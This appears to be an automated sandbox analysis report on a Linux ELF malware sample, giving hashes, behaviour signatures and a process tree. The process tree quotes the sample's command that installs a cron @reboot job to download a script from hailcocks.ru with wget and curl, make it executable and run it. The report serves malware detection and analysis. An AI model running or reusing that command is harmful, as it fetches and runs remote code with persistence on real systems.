Analysis

  • max time kernel
    149s
  • max time network
    139s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    27-10-2024 02:31

General

  • Target

    721c20fc71e2e783c9298a51433c2ba6672279f8214e148e493a1cae6e534443.elf

  • Size

    73KB

  • MD5

    47ee0b8842a526fc0c6ff94fe4ca2ad6

  • SHA1

    adf64c9ff9b8d9897fddc7e3014b9c5aea88b964

  • SHA256

    721c20fc71e2e783c9298a51433c2ba6672279f8214e148e493a1cae6e534443

  • SHA512

    c4ff89dfd2609c7ae0dfa234855be1e0133e8af0bce3afed376135c370eec203ea32c45a1f1d23cbc713717efd36c860478efcfbd85377cd3d17d8051b8f8862

  • SSDEEP

    1536:BFEA/tr50yFqIWfWD7LnaItWpOIfFkDFD:BFEAVZRWfWTnaVEIf0FD

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Renames itself 1 IoCs
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Changes its process name 1 IoCs
  • Reads runtime system information 26 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/721c20fc71e2e783c9298a51433c2ba6672279f8214e148e493a1cae6e534443.elf
    /tmp/721c20fc71e2e783c9298a51433c2ba6672279f8214e148e493a1cae6e534443.elf
    1⤵
    • Renames itself
    • Changes its process name
    • Reads runtime system information
    PID:1392
    • /bin/sh
      sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
      2⤵
      • File and Directory Permissions Modification
      PID:1393
      • /usr/bin/crontab
        crontab -
        3⤵
        • Creates/modifies Cron job
        PID:1395
      • /usr/bin/crontab
        crontab -l
        3⤵
          PID:1396

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • /var/spool/cron/crontabs/tmp.1cgCnI

      Filesize

      306B

      MD5

      050970160d674c8e3e883f557c869f9c

      SHA1

      9f62fac10caa5e0f6f9642947ef6e7b8e3418dbc

      SHA256

      f93a301e05ee4495bf0a2c767c9a61a4f084c19bc08f618c5a0118533391f203

      SHA512

      584e048471b1d5f554923779f088f10a26d72e6d04200b5cd4049191837de7484b46c578448223888ea5bf054412966bc216818d6fbc03800f39432683f67a10